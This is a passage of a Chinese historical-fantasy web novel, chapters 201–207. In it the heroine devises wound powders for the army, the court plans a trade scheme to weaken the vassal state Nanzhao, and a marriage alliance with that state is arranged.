永安帝心生烦躁,他宠信姜家,当然并非只是因为一个姜贵妃。 姜太傅在先帝时便是曾被多位重臣推举,且自他登基以来,姜太傅也算是一直都鼎力相助,未曾忤逆过他的意思。 所以,永安帝不可能直接对姜家动手。 但是,却可以给出一个警告。 正好,邓家,便是最好的一只鸡! 邓家男丁尽数被抓至大理寺,人都拿全之后,这个消息便没有再隐藏的必要,所以姜家人自然也得到了消息。 姜延平将打探来的消息一一禀报,然后只等着父亲示下。 姜太傅没想到一个小小的程媛,竟然还能牵扯这么多。 “邓家那里不足为虑,我现在担心的是那个姓樊的。” “儿子也正是担心此人,这姓樊的与咱们姜家其实并没有过多的来往,以前都是与邓家有些生意上的关系。如今邓家出事,也是因为受这姓樊的影响。父亲,依您看,这次圣上是否会降罪我姜家?” 姜太傅摇头:“圣上贤明,不会因为些许小事就降罪姜家,更何况这件事也没有任何的证据。我现在担心的是,程媛手上,是不是有什么了不得的东西!” 姜延平也愣住,随即明白了父亲的意思,他的脸色一瞬间变得煞白。 “您是说当年?” “嗯?”姜太傅脸色一沉,声音透着几分压迫感。 姜延平头上的冷汗都下来了。 “父亲,儿子明白了。这件事,一定要想法子弄清楚。我听说,赵长清单独提审了程媛,当时除了赵长清和两位辅官之外,只有一名在外面看守的衙役。之后赵长清便脸色不佳地匆匆进宫,说不定,就是程媛这里供出了什么了不得的东西。” “去好好打听打听吧。记住,只是打探消息,没必要闹得太大。” “是,儿子明白。” 家里有姜太傅在,天还塌不下来。 出了姜府,姜延平的脸色总算又慢慢地归于平静了。 赵长清入宫的事,知道的人不少,但是到底提交了什么东西到御前,那就不好打探出来了,而且涉及陛下,谁 敢光明正大地去打探? 所以,姜延平只能从赵长清身边入手。 赵长清是明显的只忠于皇上,别的皇子,在他眼里都一样。 这等忠心之人,皇上用着放心,其它人想要从他嘴里套消息,那就难了。 好在,并非只有他一人知道。 但是事关隐秘,门外的衙役知道的并不多,但是浅浅几个字,足以令姜延平猜出全貌来。 “程媛手上果然是有那份名单的!” 姜太傅得知消息后,竟是出奇得冷静,而且此时他的睨底竟还带了几分笑意,这让姜延平琢磨不透。 姜家,自然也在那份名单上。 姜延平担心陛下会清查姜家,这才匆匆回来与老爷子商议,怎么看起来,老太爷却并不在意呢? “是程媛自己手写的,并非是当年留下来的,这个意义可是大不相同的。而且,就算是那份名单曝出来又如何呢?谁能证明真假?涉及数十位官员,圣上再愤怒,也不能一下子血洗朝堂吧?” 这是现实。 即便身为帝王,也不能为所欲为。 就像是当年他流放程氏族人,最后还不是因为受诸多言官们的压力,不得不又将那些人给放了? 越是开明圣贤的皇帝,越是爱惜自己的羽毛,怎么可能会让一些贬义词落到自己身上? 姜延平也想明白了其中的关窍,但仍然担心:“那份真实的名单突然不见了,而先前曾在程媛家中服侍的几名仆从全都失了踪迹,据说在程媛下狱那一日,几名仆从便离开京城了。真正的名单,是否在其中之人手上?” 第202章 止血粉 随着一份名单的浮出水面,各种猜测,都涌了上来。 有人怀疑程媛手上根本就没有名单,只是按照自己先前从父亲那里听到的一些消息后,自己胡乱写出来的。 还有人觉得名单是真实存在的,只是不一定在程媛手上,一定是在她目前失去失踪的兄长手上。 …… 猜测很多,各种各样。 就是没有人会怀疑到许昭昭几人身上。 理由也很简单,因为程媛是突然被抓的,而在她被提审的时候,她还信誓旦旦地说自己被抓的头天晚上还曾经看过那份名单。 但是这段时间里,许昭昭、谢铮、齐云泽,可都没有接触过她。 连刘勃都不曾出现。 倒是那个姓樊的书商与其有过接触,但是对方对于所谓的名单,却是根本不知情。 所以,更多的人,还是怀疑到了那几个奴仆。 程媛之所以会有这样的记忆,还是全赖于许昭昭。 若非是她利用了迷幻草的特性,程媛也不可能会有这样的一份自以为无比真实的记忆。 案子似乎是进入了僵持阶段。 之后,由于皇帝的默认,所以这件案子暂时搁置,人就这样一直关着,也不会对她们用刑,算得上是不错的待遇了。 不仅如此,大理寺这边还特意下令,要严加看管人犯,就怕程媛再死在大理寺。 许昭昭对于外界的消息似乎是不怎么在意,每天一睁眼,就开始琢磨一些药方,再不然就是亲自动手去调配草药。 最终,许昭昭还是配制出了最好的止血粉。 而此时,已经是十月初了。 好在许昭昭早有准备,手里头不缺银钱,所以便派人到外面大量收购一些必备草药。 这其中除了止血粉之外,她还打算再弄个消炎粉出来。 这年代打仗是冷兵器,但是双方交战,使阴招的人多得是! 比如说他们会用金汁涂抹于兵器上,这对于大兴的将士们而言,就是一场劫难。 因为只要受了伤,就会被其折磨得痛不欲生。 许昭昭是知道中药也可以有消炎效果的,并非是后世很多人以为的只有西药才可以消炎,中药若是配制好了,消炎效果也不比西药差。 许昭昭将止血粉给太医署那边去做试验,同时又安排自己身边的人开始大量地配制这种止血粉。 到了战场上,这种药可是能救命的! 太医署那边试过之后,最终还是带着两瓶止血粉去请示陛下了。 “太医署做出来的止血粉效果比安乐县主做的要差一些,微臣无能。” 永安帝大喜:“哈哈!你也不必自责,朕早就听许翰说过,这小丫头之前帮了一位老神医的忙,还从他手里头弄了不少的好东西,想必这方子也是那位神医给的。” “微臣不敢苟同。微臣等人便是按照安乐县主给的方子做的,而且最开始,安乐县主也是用的同样的方子,但是她似乎对于药效不满意,所以才会再三改良。微臣以为,安乐县主应该是有学医的天赋。” 永安帝并没有因为这个跟一位老太医抬杠,他知道太医令来此的目的。 不管怎么说,这止血粉是要用到军队的,自然是哪个效果好,便用哪一个。 “她可有说如何购买?” “回陛下,安乐县主说,她可以不赚钱,只收个成本价,但是她想推荐几人入太医署学习,微臣不敢擅专,特来请示陛下。” “嗯,她可有说为何如此?” “安乐县主说,她推荐的几人都是庄户人家的孩子,也识了两年字,年纪不大,但是家中贫寒,县主不忍看他们食不裹腹,所以便想着给他们谋一条生路。” 永安帝微微点头,颇为感慨:“多好的孩子呀!她想着让这些孩子们入太医署学习几年,日后回到庄子上,也能为她所用,还能打个太医署的旗号,这丫头倒是聪明!” 太医令听得瞪大眼睛,还有这回事? “行了,朕准了,只是不可坏了太医署的规矩,若是品行不端,亦不可收。” “是,微臣遵旨。” 至于止血粉,许昭昭说不赚钱,也不过就是句客套话。 怎么可能不赚钱呢? 她的人四处买药材,又是人工,又是运费的,怎么可能自己掏腰包来补上? 这些都得算在成本里,还有一些其它的开支,也得算上。 所以,最终,许昭昭一大瓶止血粉,也只赚三个铜板。 但是太医署采买的量大呀! 而且这个价钱在 太医署的人算来,许昭昭的确是不赚钱的,毕竟太医署用的药材成本,本身就比较高,而许昭昭是直接让人到民间去收的,这价格自然不同。 更重要的是,有一大部分名贵药材,就是许昭昭自己在山上种的,只是费些事,让人采收而已。 许昭昭种药材的速度,那可不是寻常人能比的。 所以,看似只赚了三个铜板,但是实际上,一大瓶的止血粉,她的成本低得吓人! 在帐面上看,许昭昭和太医署的这一单生意,也就只是赚了三千钱,可是实际上,叶暖怕是赚了三万钱都不止! 不过,许昭昭觉得太医署也太小气了些,只定这么少,太医署只定了一千大瓶的止血粉,这些大瓶的止血粉之后可以分成几十个小瓶,到时候可以直接让部分将士随身携带。 但后来许昭昭转念一想,这些人精明着呢,估摸着是觉得还有时间,他们自己也想琢磨出更好的配方。 对此,许昭昭倒是觉得无所谓,反正都是为了将士们少受些罪。 当然,如果许家和谢家人上战场的话,许昭昭是要专门给他们配效果更好的伤药。 还有保命的药丸,那是必不可少的。 许君安是世子,这次随父出征的可能性不大,所以,许君锋在听到消息之后,就开始做准备了。 这种事,朝廷还没有一个明文出来,所以大家也都是心照不宣。 而且许君锋做的准备,其实也就是每天都要加强训练手下,自己也是更为勤奋地练武,每天晚上都要看一会儿兵书,免得真到了战场上,他就只是一个莽汉! 第203章 以药材灭一国? 消炎粉的制作其实不费什么事,主要还是一个药材配比的问题。 另外,许昭昭思来想去,还是命人找上了乐阳郡主。 无他,只因为齐王妃娘家经营药材产业已有数十年,而且也有不少的医者。 许昭昭深知不能一家独大,不能让天下所有的银钱都自己赚了,所以这才找上乐阳郡主,之后便是双方的合作。 齐王妃见有许昭昭带着,便干脆将两家药铺给了乐阳郡主,让她试着打理。 说是乐阳郡主打理,实际上底下的掌柜、账房等等都是早就安排好的,而且都是齐王妃多年来的心腹,就怕再坏事。 消炎的药丸可以制作,但问题是这个保质期要如何保证呢? 古代药丸的制作工艺相对简单,缺乏现代制药技术的杀菌和防腐措施。因此,药丸的保质期相对较短。 一些手工制作的中药丸,如蜡纸、蜡丸包装的,保质期只有一两个月,这若是运到外地去售卖,估计没到地方呢,这药性便没了,甚至有可能已经完全变质了。 而经过严格杀菌、消毒工艺的成药中药丸,保质期可以延长到一两年,甚至在保存完善的情况下可以达到五年之久。 这是让许昭昭无比头疼的地方。 怎么解决这个问题呢? 以现在的技术,一般就是将药丸密封保存,放置在干燥、阴凉的地方,避免阳光直射和高温环境。 即便如此,保质期也没有多久。 所以,这也是很多地方为什么明明有药,但是却治不了病人。 就是因为没有大夫,或者说是大夫的医术寻常,有药无方,也是枉然。 若是能解决这一问题,那对于大兴的人口而言,绝对是一大幸事。 许昭昭和几位医者想了诸多办法,最终也只能是先制作消炎粉,这种粉末状的成药保质期相对较长,但前提是要密封保存,一旦打开那个药瓶了,估计其药效也会在十日内散去。 即便如此,也已经是相当地震撼了。 乐阳郡主也是逐渐上手,明白钱财来之不易,也知道了药材对于普通百姓而言是多么珍贵的东西。 寻常百姓,若是可以勉强度日的情况下,一旦有一位家人生病,那就是天大的灾难。 因为看病太贵了。 除了大夫的诊费之外,还有昂贵的药材。 而成药的价格就更高了。 “昭昭,你说有没有什么办法可以让老百姓都能看得起病呢?” 只一句话,就能看出乐阳郡主的仁善和天真。 许昭昭不想打击她:“这就要看咱们的皇帝陛下了。” 其余的话,许昭昭没有多言,乐阳郡主也能想明白。 其实说到底,还是上位者的一言一行,便能决定下面劳累百姓们的生死。 乐阳郡主接触药铺的时间不短了,但是她了解到的,到底还只是皮毛。 “昭昭,这消炎粉可以大量制作出来,并且卖至我大兴的每一片土地上,但是价格昂贵,普通百姓们买不起,所以我们这药,只能卖给富贵人家吗?那说到底,救的也不是老百姓。” “郡主,富贵人家,也是我大兴的子民,也是要受到陛下护佑的。至于你说的价格昂贵,这个问题我们暂时解决不了,药材的成本就在这里摆着,咱们便是再怎么折腾,也是降不下来的。” 药材珍贵,因为它不是地里的大白菜,随便种种就能长出来。 而且即便是一些人家种植药田,那收获也不是立杆见影的。 有些药材,可能要种植好几年后,才能有所收获,所以即便是人工种出来的,这价格仍然很高。 都是为了生计,谁不想好好活着? “我听说南诏国已经派使臣来朝贡,而且带了大量的药材。” 乐阳郡主眼睛一亮:“南诏国产药材吗?” “嗯,不止是药材,还有其它的好东西。若是咱们能以高出南诏国本地的价格一成的银钱来大量收购药材,必然可以降低药材成本,届时,咱们做出来的药,自然也就可以降价售卖了。” “可价格再低,也在米粮之上。” 许昭昭无奈:“我的郡主呀!那是药材,它们本身对于生长环境和一些气候就有要求,正是因为量少,所以才珍贵,咱们不可能把药材降至米粮那样的价格的。” 乐阳郡主也意识到自己刚刚说过于天真了。 “这法子倒是不错。不过仅凭咱们两家,才能购买多少药材?” 许昭昭眼神一暗:“那就多联合几家,不过此事只能在私底下进行,不可声张。 免得被南诏国人反应过来之后,故意把价格往上抬。而且咱们要持续从南诏国购入药材,各种药材,若是南诏国百姓人人都去种药材换银钱了,那才好!” 乐阳郡主瞪大眼睛,好一会儿也反应过来:“你是想让南诏国无粮?” 许昭昭轻笑:“怎么可能会这般容易?我说的这法子前人已然用过,而且南诏国除了药材之外,还盛产茶叶,这些在咱们大兴的价格可都不低,咱们不妨多采买。” 乐阳郡主总觉得许昭昭好像是话里有话,但她又想不明白,再追问,许昭昭却是什么也不肯说了。 乐阳郡主回到家里,因为心中有疑惑,怎么坐着躺着都不舒服,干脆就去找母妃了。 齐王正好也在王妃这里说话,一见到宝贝女儿过来,自然是满心欢喜。 乐阳郡主苦着脸,将自己的疑惑问出来,一脸期待地看向父亲母亲,只盼着他们能为自己解惑。 以药材灭一国? 齐王眼前一亮,又想到许昭昭提及前人已经有人做过,第一时间就想到了梅花鹿! 春秋时期的管仲曾以此计玩死了楚国,所以这也是出了名的兵不血刃。 只不过不同的是,管仲命人大肆收购的是楚国的梅花鹿,而许昭昭则是想要大量的收购药材和茶叶。 若是长此以往,南诏灭国的可能性还真的不是开玩笑的! “乐阳,此事你们母女二人守口如瓶,且不可再对任何人提及,便是世子那里也不准提。本王即刻进宫,你们母女也莫要再讨论此事,不必等本王了。” 第204章 我可没有想那么多 齐王进宫后,不多时,永安帝又将顾东阳给宣入宫中。 围绕着以药材灭一国为中心,几人都开始发散思维。 但是顾东阳到底还是更为理智一些。 “陛下,此计虽好,却是难以成形。” 永安帝皱眉:“何解?” “陛下,南诏王并非是愚钝之人,而且南诏先王在位时,便曾下令,要开垦山地、但凡是平原之处,皆要种粮,而且南诏王也曾下令规定了药材的种植田亩。” 齐王也知道这一点,但总觉得,此计虽然不可能真地灭了南诏,但是至少可以大大的削减南诏国力。 “陛下,臣以为此计可行,但不能急于求成,而且臣听许昭昭的意思,并非是如管仲那般行事张狂,而是要徐徐图之,让南诏适应于从咱们大兴购粮,数量由小及大,时日久了,南诏于我大兴,便形成了绝对的依附之势。” 南诏盛产药材和茶叶,这是天下人人皆知之事。 但是又因为南诏山林地居多,所以很多百姓不需要额外的种植药材,只是闲暇时去采摘即可。 也因此,南诏其实并不是很缺粮。 即便是缺,量也不大,甚至都不需要南诏王操心,底下的那些商人便都能给补全了。 “来人,宣安信侯和安乐县主进宫。” “是。” 许昭昭当然不可能真地当着帝王的面侃侃而谈,那是在找死! 大兴朝就算是女人的地位再高,也是不允许堂而皇之地涉政的。 私底下说什么都无所谓,但若是真地站到了朝堂上去议政,那就是纯粹地找死! 许昭昭表现得很懵懂,直至顾东阳将管仲曾经用过的计谋说了一遍之后,许昭昭才装作刚刚反应过来。 “顾大人未免太高抬我了。我只是觉得既然是南诏盛产之物,又是我们大兴需要的东西,自然该着大量采购过来。至于南诏是否还有土地种粮,我一介女子又岂能知晓? 不过,我当时想的是,我们大量地收购一些药材,如此便可遏制药材在其本土的售卖量,而且,药材这东西,我们加工一下,还是可以转个圈再卖回去的。” 许昭昭这个反应,才是正常的。 永安帝心头不知不觉间便平静了许多,似乎是还增添了几分欣慰。 许昭昭这里说不出什么治国安邦的良策,自然就被放回去了。 许翰则是留在了太极殿中对奏。 顾东阳脑子转得快一些:“陛下,安乐县主虽然没有所谓的以药材灭一国的大志,但若是朝廷加以变通,也不是不行。” 齐王眼睛一亮,永安帝也看过去:“说说看。” “回禀陛下,咱们以低价购入南诏的药材和茶叶,之后如同安乐县主所言,将药材加工后,再以高价售回,那么这中间必然是有差价的。而且,最重要的是,南诏只是我大兴属国,这边关可是能收关税的。” 永安帝立马明白过来,药材运入大兴,他们可以十之税一,若是再以药丸的价格售回南诏,那税收就不一样了。 若是大兴的商运过去,可以按十之税二,若是南诏国自己想要运回国贩卖,则是可以十之税三,甚至更高。 这些都是可以操作的。 除此之外,茶叶也是一样。 南诏盛产茶叶,但是只会单纯的炒茶,他们大兴能工巧匠多了,可以稍稍加工,再以大兴贵族喜食为由,高价售回南诏,这才叫本事! 况且,南诏是大兴属国,本就十分仰慕大兴文化,更是喜欢模仿大兴贵族的生活,这机会不就来了吗? 许昭昭虽然没有明着说出来,但顾东阳是户部长官,他这就是主打一个贸易战,如此一来,用不了几年,就能将南诏国的银钱给掏空。 南诏国是大兴属国,又是正好紧邻大兴,所以南诏除了自己的货币之外,主要流通的还是以大兴铜钱为主。 “南诏国除了药材和茶叶之外,还有银矿。咱们双方交易时,就以银铤为交易货币,理由都是现成的,担心大兴的铜币在南诏国不好花用,若是用南诏铜币交易,那么回国后又无法使用,所以统一使用银铤作为交易货币,那就等于是为我大兴换回来大量的银铤。” 顾东阳的解释虽然不算彻底,但在座众人都听明白了。 原本就是南诏国自己的东西,这么一捯手的功夫,大兴便赚了几回关税,同时,更是有大量的银铤流入大兴。 银铤届时可以直接到官府兑换成铜钱,至于到底几兑几,那不都得是朝廷说了算? 普通百姓是不许用金银来交易的,所以回关后,商户必须要 将这些银铤换为铜币,那么这些银铤便可流入国库。 啧啧,当真是好算计呀。 齐王此时也反应过来,连连称奇:“顾大人这脑子就是好使。而且换回来大量的银铤,咱们也不必闲着,可以带去西域淘换一些咱们所需之物,这么一来二去的,便宜都让咱们占了。” 铜币虽然是民间流通最广泛的货币,但是对于西域的一些国家是不认可的。 他们更喜欢金银。 打个比方,在大兴,一两银可兑一千钱;在南诏,一两银可兑九百五十钱;而在西域某些小国中,一两银可兑马匹、牛羊等,若是换成铜钱,大概率就是一两银可当一千一百钱使。 这么里外一盘算,还真的是便宜都让大兴给占了。 齐王这么一说,永安帝的眼神里都透着几分激动。 用不了几年,就可以把南诏挖空,届时,他们想要怎么拿捏一个没有了财路的南诏,那就是随便怎么拿捏了。 果然好计策! 许昭昭知道,她只需要引一个话头出来,以顾东阳那满脑子银钱的性子,定然就能想出富国的法子。 如此一来,自己早先筹备的商队,也就可以准备行动起来了。 这主意从一开始就是许昭昭想的,这第一桶金,自然也得该着她来挖。 永安帝这边还没有下旨呢,那边收到了许昭昭指令的柱子,就已经带着商队进入南诏国了。 乐阳郡主在齐王的提醒下,也是紧随不舍,在柱子带着商队进入大兴边关后,她派出去的人也终于进入南诏境内了。 第205章 注定是要被牺牲的 其它的药材商人将药材运回大兴,一般就是直接售卖给药铺。 可许昭昭和乐阳郡主联手,那情况就不同了。 许昭昭手上有方子,乐阳郡主手上的医者和渠道,如此一来,再制作成药粉或者是药丸等等,再运至南诏卖掉,那可就是大赚一批! 而且,齐王是有封地的,只是他并不用去封地,说白了,只是享受食邑而已。 而恰好,封地离着南诏不算太远,若是马车的话,最多三天也就能到。 如此一来,便省了他们很大的一笔开销。 一部分直接就在那边开始制作成成药,还有一部分则是运回京城,由许昭昭和乐阳郡主统一安排之后,再分散至其余各地。 总之,就是只要有源源不断的药材,那么她们就能有源源不断的利润。 而且,许昭昭和乐阳郡主一商量,干脆再贡献出一批止血粉和消炎粉给朝廷,等到大军开拔之际,可以直接带去边关。 二人的主意定下之后,便由齐王出面跟皇上提及此事。 乐阳郡主是永安帝的亲侄女,而且也是他最喜欢的一个小辈,见她如此懂事,还知道给朝廷的大军提供药材,别提多得意了。 许昭昭因为靠上了乐阳郡主,所以她的其它计划自然也就可以展开了。 比如说:茶叶! 现在大兴吃茶的法子,许昭昭是很难接受的,所以她一直都是喝清茶,也就是什么都不加,只是泡茶喝。 为此,她还特意让匠人给她打造了几套不同的茶具。 其实许昭昭不怎么懂茶,上辈子喝茶自己也是要认包装上的字,或者是等茶叶入口,才能分辨出来到底是红茶还是白茶等等。 这辈子,茶好像还没有分出那么多的花样来。 而且许昭昭喜欢喝花茶,也便是茉莉花茶或者是桂花红茶。 等到茶叶运至京城,一切,便都可以开始行动起来了。 许昭昭觉得,这世上怎么能人不爱喝甜甜的奶茶呢? 而且奶茶这生意不起眼,但是利润丰厚呀。 不会有人想到,这奶茶生意也能日进斗金的。 许昭昭的根本目的,不在于发财,只在于能让顾东阳等这样的重臣意识到打仗,并非真地只能依靠那些将士们的血肉来拼搏。 能兵不血刃,自是最好的。 未至腊月,南诏国使臣团已经进京了。 这一次,他们不仅带来了自己盛产的珍贵药材和茶叶,还带来了一些漂亮的银饰。 南诏国的好几个部族人都极其喜欢银饰,无论男女,都爱在身上佩戴,所以,这一次,他们也带来了一些独属于南诏国的银饰进京上贡。 与此同时,南诏国还带来了他们王的旨意,想要向大兴求娶一位公主回去。 公主? 大兴的公主可珍贵得很,尤其是对于现任的永安帝而言,他膝下成年的公主,屈指可数,而且有的已经婚配,就算是还没有婚配,陛下也不会舍得让她们远嫁的。 此时,清平郡主的存在,也就突显出来了。 她是皇帝的亲侄女,这一点,谁都无反反驳。 但她只是齐王的一个庶女。 庶女又如何呢? 早在她被封为郡主时,就应该有要为大兴奉献自己的觉悟。 做人嘛,不能既要,又要,还要! 清平郡主享受了不应该有的尊贵待遇,那便需要为这份待遇付出相应的代价,很公平。 没有人会觉得清平郡主可怜,毕竟其它王府的庶女,可没有她尊贵。 清平郡主的母亲是位孺人,而且她的外家并不强大,否则,当初齐王也不会选择她做为王朝的牺牲品。 对于清平郡主的远嫁,许昭昭内心有几分复杂。 对清平郡主,她并没有同情,她只是觉得在这个满是禁锢的时代,女子身上的枷锁似乎更多,也更重。 想要逃脱,没有可能! 一个女子没有权势,没有地位,没有钱财,那就只能被欺负。 这一点,与自己曾生存的末世又何其相似? 说到底,还是弱肉强食的生物链。 清平郡主可怜吗? 身为一弱女子,却要远嫁南诏,到了那里无亲无靠,自然可怜。 可是她是大兴朝尊贵的郡主,她享受了那么多普通人不曾听闻过的尊贵待遇,如今被朝廷牺牲,似乎又没有什么毛病。 可许昭昭还是觉得,这个世道对于女子太不公平了。 为什么一旦出现什么关系不稳,都会采取嫁女的方式来缓解呢? 国与国之间是如此,那些世家名门之间亦是如此。 所以,女子从生下来,就注定是要被牺牲的吗? 许昭昭因为这件事,心情不好,所以也极少出门。 甚至她都不去给老夫人和夫人请安了。 王若兰要忙活许多事情,这日经身边人提醒,才意识到有三四日没有见到宝贝女儿了,让人收拾一番,带着不少好东西急匆匆地来了紫园。 许昭昭正坐在自己的壁炉前慢慢晃着,这摇椅如今也叫逍遥椅,已经在整个大兴都卖疯了。 许昭昭出手最快,但也只是赚了前两波的一个高价利润,到了后面,因为难度不大,所以很多木匠看一遍也就知道如何打造了,所以如今这东西,已然卖不上高价。 但若是材质不一般的,价格自然也十分昂贵。 “昭昭,这几日看你精神不济,可是哪里不舒服?” 许昭昭摇头,起身到了一旁的软榻,母女俩干脆就坐在这里说话。 屋子里很暖和,王若兰解了大氅之后,又坐一会儿,便将外面的一层衣裳也除下。 “你这屋子真是暖和。” “母亲这话说的,您屋子里不是也弄了壁炉?” 跟着夫人一起过来的嬷嬷笑道:“夫人这几日都在前头处理一些庶务,哪能如小姐这般自在。” 许昭昭闻言,这才意识到马上要进腊月了,很多事情都要准备起来。 比如说一些亲戚友人间走动需要备的礼,还有入宫赴宴需要备好的行头等等。 的确时时处处都有事情要处理。 “昭昭,这些都是你几个舅舅送来的,你且看看有没有喜欢的。” “舅舅送的定都是好东西,先给大嫂二嫂看看吧。” “不用,你先挑。你舅舅也都是按照你的喜好准备的,你挑完了,我再给她们分了便是。” 第206章 辱骂公主 在侯府,对许昭昭的偏爱,那就是光明正大且不接受任何反驳的。 谁让许翰和王若兰就只有这么一个宝贝女儿呢! 而且王若兰娘家那边的几位长辈也对许昭昭颇为疼爱,每年都会送来好些个稀罕东西给许昭昭,谁能说什么。 张氏如今协助着王若兰管家,膳食这一块,现在都是由张氏管着。 眼瞅着进腊月,各项事务繁杂起来,张氏也比以前忙了很多。 王若兰不是那种喜欢事事把在自己手里的,所以就把衣服料子这一块都丢给新进门的安和县主管着了。 二儿媳虽是县主,如今进了侯府,也从未摆过县主的架子,而是一直遵从夫家的规矩,以小辈自居,对长嫂张氏,也一直都十分恭敬。 如今许君霆的婚事定下,二房的许君清的婚事也已经有了眉目,只等着来年开春后,两家再好好说一说,也便成了。 于许家而言,这算是好事一桩接着一桩,大家也都神采飞扬,可是后面住着的老太太却老大的不高兴。 为啥? 说到底,还是为了孙茜。 也不对,应该说是为了许琳。 孙家因为孙淮之惹出来的事情,受到了牵连,虽然侯府没有直接放话来对付孙家,但大家都不是傻子,你孙淮之这样吃里扒外,真以为大家看不出来吗? 也因此,孙淮之在京城诸多权贵心中的形象大崩。 先前还觉得他好歹是个读书人,最起码能知礼懂事。 如今看来,一切都是假象! 孙淮之的官职没有被夺,这也是许翰和吏部那边的意思。 孙淮之做错了事,但仍然是许翰的亲外甥,总不能因为一件事,就把这孩子的一切都给否了。 所以,许翰只是授意那边罚了孙淮之一些俸禄之后,便又让他官复原职了。 虽是如此,但因为孙淮之闹出的这场乱子,后续想要升迁,应该会有难度。 而且身为东市署的市丞,若是不能做出一些成绩来,凭什么就要晋升? 想要做出成绩,靠的要么是多收税,再不然就是献计献策,可是显然,孙淮之没有这个能力。 就算是有,他上面的东市令,也能直接将他的功劳据为己有。 别小看一个小小的署衙,这里头的门道多着呢。 你是侯府的外甥,那位还是国公府的侄子呢! 谁背后没个靠山? 刘起这阵子几乎就是天天住在衙门里了。 天子脚下,又是年关将至,一切都以稳妥为主。 刘起手底下的衙役不少,再加上大批的不良人,所以还是要起到一个维护一县治安的作用。 当然,具体事务,有他手底下的县尉负责。 刘起自打刘怀恩出事之后,就意识到不妥。 这些日子,他几乎是不接受任何的宴请,全力投放在公事上。 “大人,不好了。平康坊那边打起来了,县尉大人带人过去,但是刚刚有人回来报信,说是县尉大人也被扣在那里了。” “嗯?何人如此大胆,竟然还敢扣下朝廷命官?” “回大人,小的只是听说那里有段家的二公子,另外好像还有刘公子也在,但具体是哪位刘公子,小人不清楚。” 刘起眉眼一肃,看样子还真得走一趟了。 段家二公子? 那应该就是段兴了,他可是长公主的心尖尖,甚至是连皇上都对其宠爱有加的公子哥儿,这种人物,他一个县令,也只有捧着敬着的份儿。 等他赶到,才发现是几方人喝多酒,闹出事端来。 段兴的情况还好一些,一旁有齐云泽和刘勃二人在,对面的几人瞧着有几个眼生的,但看穿戴,应该也都是官宦子弟。 刘起过来一问,才知道双方动过手了,而且若非是有齐云泽在,估计段兴脸上就要挂彩了。 刘起皱眉后,先拿齐云泽开刀。 “你身为万年县县丞,不好好当值,何故到此酗酒?可知玩忽懈怠,亦是重罪!” 齐云泽不慌不忙道:“刘大人,我并未当值,今日是我休沐,正好与段侯爷约了一起过来饮酒聊天,不曾想却遇到了不长眼的东西,这才起了冲突。要我说,也不算是什么大事,让对面的那几个东西清醒清醒之后,再过来给我们几个赔礼道歉便是。” 刘起经过询问才知道,对方是鸿胪寺卿家的公子,再连同几位鸿胪寺的官员,这是带着几位南诏来的使臣在此逍遥取乐来了。 原本也不算是什么大事。 但是他们言谈之间,言语无状,冲撞了段兴,这才打起来了。 段兴并未醉酒,横眉冷怒道:“你们好大的胆子!身为我大兴的官员,不思护着我大兴的皇族名声,却只顾着讨好小国使臣,是何道理?” 刘起听得头皮发麻,这质问来得促不及防,而对面的几人显然脸都吓白了。 原来是那几个使臣在言谈间,提及了请求大兴的公主下嫁,但是他们也知道,上一任的南诏王,曾迎娶了大兴的一位宗室女,之后封为公主,但是那位公主入南诏后,因为生活习性不同,不过短短五载便撒手人寰。 但是那位公主留下了一个女儿,也就是如今南诏王的妹妹。 因为顾及大兴,所以那位南诏的公主也算是平安长大,而且未曾受到南诏王室的苛待。 几位使臣在醉酒后,便提到说是不知道这一次大兴的公主嫁到南诏后,能活几年。 另一位则是笑言:大兴公主娇弱,受不住南诏王的恩泽。 正是因为这一句,惹怒了段兴。 段兴虽非皇族,但他的母亲可是正儿八经的皇室长公主。 现在被人这般议论,他岂能容忍? 刘起弄明白事情的来龙去脉之后,只骂这些人挨打也不冤。 没等刘起做出决断,赵长清匆匆赶来。 这里闹得太大,已经惊动圣上了。 永安帝看似性格随和,实则霸道强势。 在他自己的地盘儿上,被外人辱及自己的姐妹侄女,他当然不会忍。 如此一来,这些人都被赵长清给捉弄下狱了。 之后,就只等着他们酒醒,再由他们上头的人过来赎人了。 段兴打了人,不仅没挨骂,还被皇上叫进宫里头,领了一堆赏回家了。 第207章 齐王妃教女 不得不说,因为南诏使臣贬辱公主一事,南诏国这边的姿态放得更低了。 齐云泽回到家后,自然是要先向父亲禀明事情的进展以及成效。 定南侯点头,一脸满意。 事情的发展,一切都按照他们先前所计划的那样进行。 “此事你办得不错,段兴也足够机敏,这一次你们二人立功了。” “父亲,还有刘勃呢,他出现在那里是意外,不过,倒是知趣地站在了我们这一边,且在言词间,也顺利地挑拨了一下对方。” 定南侯笑道:“我知道了,此事待过后,圣上自会论功行赏,只不过,不能用这样的名义。” “儿子明白。” “行了,你且回去吧,明日在家中休息一日,之后再去当差。” “是,儿子告退。” 南诏使臣被灌酒,之后故意大声喧哗,再妄议大兴公主,这一切都是被他们算计好了的。 唯有如此,才能让南诏国提出和亲时,姿态更低一些,同时,也是为了让他们出让更多的利益。 国与国之间的搏弈,绝非小事。 任何你看不到,或者是你想不到的地方,不是你让,便是我进。 这一次,很明显,南诏国输了。 所以,选一个清平郡主和亲,南诏王说不出什么不妥来。 南诏使臣团里果然也因此而起了内讧。 原本的打算,就是想要确定一下大兴会把哪位公主或者是郡主嫁去南诏。 南诏王如今已经有王后,甚至还有好几位王子了。 若是大兴嫁过去的仍然是一位宗室女,那么,给一下妃位足矣。 可如今南诏犯错在先,对于这位和亲的公主或者是郡主,就必须要从长计议。 接下来几论谈判,最终还是南诏国做出了让步。 清平郡主以公主之尊嫁入南诏,并且被尊为南诏王贵妃,仅次于王后,并且可掌金册金印,同时还被允许带亲兵三千。 除此之外,南诏国为迎娶大兴公主所准备的聘礼,自然也要再加厚两成。 南诏能拿出来的,除了白银,便是药材和茶叶。 但是这一次的朝贡中,便已经有了大量的名贵药材,所以,他们只能咬牙,在聘礼中加了五千两的白银。 这些白银,自然是要流入国库的。 清平郡主是以公主的身份嫁入南诏,那么,她的嫁妆,自然也该由礼部来拟定。 因为涉及到了邦交,所以最终的嫁妆都会由国库来出。 当然,齐王府也会给予一定的添妆,但不会太多。 毕竟这不是寻常的嫁女儿,一切都是有礼制的。 清平郡主被封为公主的旨意还没有下来,但是所有人都知道和亲的事情是没跑了,而且南诏国也很有自觉,表达的态度也没有问题,人家一直强调的是大兴公主下嫁,可没说是和亲。 清平郡主近来的日子很不好过。 外面的人都传疯了,都说她要嫁去南诏,可她明明早已经有了心仪的对象,怎么可能愿意远嫁? 可问题是她心仪的男子不喜欢她,而嫁去南诏,更是她无论如何都反抗不了的结果。 